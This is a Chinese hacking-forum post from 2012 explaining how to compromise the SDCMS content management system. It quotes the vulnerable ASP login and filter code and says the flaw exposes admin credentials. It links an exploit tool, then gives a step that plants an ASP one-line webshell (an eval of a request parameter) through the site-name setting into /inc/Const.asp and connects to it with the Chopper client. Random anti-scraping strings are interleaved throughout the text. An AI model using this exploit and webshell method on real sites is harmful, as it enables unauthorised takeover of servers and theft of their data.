中国网络渗透测试联盟
标题:
SDCMS通杀漏洞利用工具及提权拿SHELL
[打印本页]
作者:
admin
时间:
2012-11-9 20:57
标题:
SDCMS通杀漏洞利用工具及提权拿SHELL
作者:T00LS 鬼哥
& I' I! x, n4 W, u( M( t* p) t
漏洞文件:后台目录/index.asp
; I* l2 y4 R) a n/ y
4 b+ F. d f) k: X7 w5 ?& s# [" ]. ^
Sub Check
. J1 [/ S8 V2 G# T2 N$ |
Dim username,password,code,getcode,Rs
( h4 @2 _2 B2 ?# ~ ]( t( a1 x8 F9 X; ^1 V
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
3 H0 I$ \% d, f9 ]
username=FilterText(Trim(Request.Form("username")),1)
! n0 I+ O; Q5 x; {9 ^$ O2 s
password=FilterText(Trim(Request.Form("password")),1)
5 ~4 N& x) J& O; B: W
code=Trim(Request.Form("yzm"))
0 e/ F: m: {9 v* Q( Q) p( h
getcode=Session("SDCMSCode")
* e, f' \% d8 p6 M$ z _
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
8 |# H, E- [4 \
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"
ied
; u: o6 q0 f6 z0 \$ L/ D$ b+ I
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"
ied
2 l: w$ I) M; W. c0 d
IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"
ied
! h* L5 n1 Y3 J/ S
IF username="" or password="" Then
, N/ u8 ^+ _( k- B4 T$ {
Echo "用户名或密码不能为空"
ied
/ ^; [$ K0 Q$ h7 D( B1 w; I/ H, W
Else
: X1 e- i4 h1 }# p2 B Q
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
3 }# L2 i* S, u, d' ~
IF Rs.Eof Then
0 `3 w' z' c2 J1 d
AddLog username,GetIp,"登录失败",1
* E, q0 ?2 @5 e
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
9 i8 z: [: `. J$ D
Else
; l) `3 ~- \( o- e. P
Add_Cookies "sdcms_id",Rs(0)
3 ]. g2 e( l6 m
Add_Cookies "sdcms_name",username
( t9 F/ @; N1 i* F# }
Add_Cookies "sdcms_pwd",Rs(2)
; t/ w( W! F* M t
Add_Cookies "sdcms_admin",Rs(3)
4 O5 t$ _- S" P1 i3 h# N
Add_Cookies "sdcms_alllever",Rs(4)
I1 H2 p- m) Y! W! `
Add_Cookies "sdcms_infolever",Rs(5)
$ ?+ Q( y3 I# ^1 G
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
( |" i0 f0 u* E, N3 c; S
AddLog username,GetIp,"登录成功",1
: r! c8 j% U1 [# Y
'自动删除30天前的Log记录
6 Y$ x1 g7 `0 F; H2 W
IF Sdcms_DataType Then
# n3 K* a. Y" E. q \4 ^( V
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
' @$ A* \4 O3 O8 u0 f" C" U
Else
9 S* x: |: s5 [5 k" x
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
2 |9 O% }* Q |7 A1 h
End IF
3 S, \8 H( x" E5 W- u
Go("sdcms_index.asp")
% x) P' F5 M0 `
End IF
5 s" ?; s0 q5 R' c/ v
Rs.Close
& p- _& D1 |+ G# @ x
Set Rs=Nothing
, P. p' \4 K' I1 v& m
End IF
+ G% Y! b# V) A, M% p
End Sub
. |! {" T1 w6 W, q0 ~, B# ^ G
& P* v( r8 p6 A
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
3 n1 Q8 b* @1 m/ f
V% p6 {' n" I: |8 U% N
Function FilterText(ByVal t0,ByVal t1)
! a8 i% r. p4 J0 H- Z
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
: y" I9 ]: H% i6 { W$ i
t0=Trim(t0)
6 [- O$ R0 ]! G+ A
Select Case t1
& y2 A% O7 E% e6 \% [3 o
Case "1"
2 \0 n" t* Z& L8 {1 ?, e! H
t0=Replace(t0,Chr(32),"")
# j( ?+ j0 f9 Y. V
t0=Replace(t0,Chr(13),"")
2 O/ N. [; G4 j0 G& k. Q! E
t0=Replace(t0,Chr(10)&Chr(10),"")
. ?/ e }$ l$ h9 ]9 z
t0=Replace(t0,Chr(10),"")
. ]/ M- p G& ?- Q7 X9 f9 F3 R. [
Case "2"
1 X# ?, v1 j2 F; P) a- j! T$ L
t0=Replace(t0,Chr(8),"")'回格
9 |0 w/ m; v- M5 W+ R
t0=Replace(t0,Chr(9),"")'tab(水平制表符)
5 i( s. q, Q0 h0 Y7 S& ?0 c7 E
t0=Replace(t0,Chr(10),"")'换行
+ W( H1 k3 ]; Q& B, r c! t8 P
t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
# Q8 E+ P5 _* t5 _. L$ k" V& _9 Q$ Q- P
t0=Replace(t0,Chr(12),"")'换页
7 ]# {; ^9 g( K' z" S
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
- l. P0 f- d5 q% d
t0=Replace(t0,Chr(22),"")
% y) j: u, j3 c7 }
t0=Replace(t0,Chr(32),"")'空格 SPACE
8 _1 M" s% n/ z/ @% b* M
t0=Replace(t0,Chr(33),"")'!
2 N2 I3 p* f8 v6 j( u' ?. h @
t0=Replace(t0,Chr(34),"")'"
0 d7 m0 X+ g) V' o* G
t0=Replace(t0,Chr(35),"")'#
! l" a8 `4 Z+ S# x0 t) W8 w& I
t0=Replace(t0,Chr(36),"")'$
* ?: ]/ q$ M b. i
t0=Replace(t0,Chr(37),"")'%
: ?6 x/ M' v" H. n" y) M9 J% ~+ A
t0=Replace(t0,Chr(38),"")'&
2 h0 ^9 p) v9 q2 j. _* ~
t0=Replace(t0,Chr(39),"")''
) e, O: _ o1 m; J0 W! H
t0=Replace(t0,Chr(40),"")'(
8 s' o8 J x2 S- e% e* }) t0 d
t0=Replace(t0,Chr(41),"")')
3 K0 z9 B, R8 r- n4 g* q
t0=Replace(t0,Chr(42),"")'*
$ A& H7 Y5 {) \ X: J& i" t* k, I \
t0=Replace(t0,Chr(43),"")'+
4 R. A! ^1 I7 C
t0=Replace(t0,Chr(44),"")',
) V* I y7 G$ {* o# e8 A5 s
t0=Replace(t0,Chr(45),"")'-
. o" Y8 G) b: k( n- H H
t0=Replace(t0,Chr(46),"")'.
4 ^4 R; L( r( L
t0=Replace(t0,Chr(47),"")'/
3 M. Q2 B0 D, Y# X# ]0 F/ E& ?
t0=Replace(t0,Chr(58),"")':
) [- |. D" f$ H5 m9 s0 e$ W
t0=Replace(t0,Chr(59),"")';
) ^$ j K- j2 t3 U1 e1 t w
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
$ j% [. |. m" C4 H
t0=Replace(t0,Chr(63),"")'?
6 n/ I/ ?+ O5 _* P9 D+ m
t0=Replace(t0,Chr(64),"")'@
+ V0 Y9 R7 I: a
t0=Replace(t0,Chr(91),"")'\
2 D6 `7 k! F$ @. X4 t) c4 G
t0=Replace(t0,Chr(92),"")'\
2 Y. E5 u1 b9 V* P: l
t0=Replace(t0,Chr(93),"")']
2 U+ |* [0 @& A* x
t0=Replace(t0,Chr(94),"")'^
! W! g/ Q, J5 s9 h( h" s
t0=Replace(t0,Chr(95),"")'_
* h: `5 {7 q7 c
t0=Replace(t0,Chr(96),"")'`
( a- `" x: t, q$ E. j5 m
t0=Replace(t0,Chr(123),"")'{
9 D2 A+ V$ Z+ u' F2 U
t0=Replace(t0,Chr(124),"")'|
6 _- z- u1 \/ f9 M
t0=Replace(t0,Chr(125),"")'}
( x/ e' c8 a3 B/ b/ ~' }
t0=Replace(t0,Chr(126),"")'~
9 [6 Z( [6 ?" ]9 f! |; q/ u% Q
Case Else
( L4 x- q) b: h" \; `- u, m$ K/ H& o
t0=Replace(t0, "&", "&")
; Y% `. s$ C+ I0 P* D
t0=Replace(t0, "'", "'")
6 p7 w; E5 M& d
t0=Replace(t0, """", """)
& i4 E+ r" ~" [0 ]3 {
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
1 z# E$ y3 W& s: C( \2 _+ D! Y
End Select
. H7 W7 T! ]2 r
IF Instr(Lcase(t0),"expression")>0 Then
8 u) h+ E5 A% N& c! H* p* F
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
0 l+ }$ ^7 q/ i9 e/ Y
End If
( r/ y! ?8 z( \
FilterText=t0
& }1 g' v5 v6 F2 t# ?2 Z
End Function
; f% ?+ ?- V( Y( g- @
6 V0 `$ x. {" _5 H3 O N6 w& ?4 \
看到没。直接参数是1 只过滤
) h+ X. u, V! i8 L: j( B
t0=Replace(t0,Chr(32)," ")
8 d0 x5 t/ |" s5 W! C5 o
t0=Replace(t0,Chr(13),"")
. I8 k9 b4 \2 i. K- U% z
t0=Replace(t0,Chr(10)&Chr(10),"
" U7 T' V/ z) S7 L: P2 c2 V
")
, Q k4 N) T! g
t0=Replace(t0,Chr(10),"
7 w# l2 P: I+ Q' y
")
% A5 K; d5 k W& Q
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
9 h- c. k9 U& L! Z7 E( E; w
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
/ i% P9 i0 c$ e" j7 W1 L! V- [
+ f! I8 V' o4 }9 N. q
测试:
1 Q* C1 c# s8 a
) o9 n$ r0 f2 m! L% H! E7 G
p$ y( ^5 _$ s% t, N) ]
现在输入工具上验证码,然后点OK
5 |3 e h+ j4 [3 m5 s& F% d
) ]2 e. X2 y4 v
2 a+ ~- Y8 X& P+ Z8 w
看到我们直接进入后台管理界面了,呵呵!
1 S" m$ Y) b7 k
7 ?4 j5 V* N/ c+ a" o9 j: a
5 X, t4 ]2 H: c* B; ?2 f: K
, M; W/ V9 z* I; u7 |; |8 d+ N2 d
这样直接进入后台了。。。。
7 I1 `! _% U* T1 V/ t
7 @1 Y3 {, m% ~+ P+ `
+ C& Q4 k5 M d4 x7 ~! V, ]
z, R9 ~5 k0 [ U
SDCMS提权:
+ F5 M7 c2 Q% N( \, k( h2 I& }
6 `" p% U- [. P* o P, l& y
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
" e1 e- q# F) q9 T$ p; U, ?1 i% A. Y) y
, _6 K: F4 B# A4 Q0 G) h# F" M6 i
1 d! O9 G( T* i5 K K" Z/ _
1 c* Y& s! Q( p/ f# x
OK,现在用菜刀连接下!
7 o0 B/ z: ?9 D5 d+ C/ Y6 J
2 c$ u- n' @. p$ k: @+ ?8 j
; F1 W& _; _0 {) p
9 o+ h; d( _; o* z
0 R* h' `6 N/ o7 T
! A8 L0 k2 W) p$ p4 L0 P4 U" j
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2